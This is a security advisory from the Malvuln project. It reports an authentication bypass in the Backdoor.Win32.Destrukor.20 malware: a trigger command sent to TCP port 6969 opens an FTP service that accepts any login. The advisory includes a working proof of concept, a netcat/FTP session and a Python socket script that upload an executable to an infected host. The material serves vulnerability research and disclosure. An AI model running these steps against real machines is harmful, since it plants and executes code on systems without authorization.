Backdoor.Win32.Destrukor.20 malware suffers from authentication bypass and code execution vulnerabilities.
094948131e62030329dfa1f6e0d5cc98ee61866dcecf381f4a6aa14f046758b4Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/c790749f851d48e66e7d59cc2e451956.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Destrukor.20
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 6969. However, after sending a specific cmd "rozmiar" the backdoor returns "moznasciagac" in Polish "you can download" and port 21 opens. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Family: Destrukor
Type: PE32
MD5: c790749f851d48e66e7d59cc2e451956
Dropped files: sys32.exe
Vuln ID: MVID-2022-0626
Disclosure: 07/30/2022
Exploit/PoC:
C:\>nc64.exe 192.168.18.125 6969
rozmiar
moznasciagac
C:\>nc64.exe 192.168.18.125 21
220 ICS FTP Server ready.
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP \
250 CWD command successful. "C:/" is current directory.
MKD HATE
257 'C:\HATE': directory created.
PASV
227 Entering Passive Mode (192,168,18,125,232,131).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.125"
PORT=59523
DOOM="DOOM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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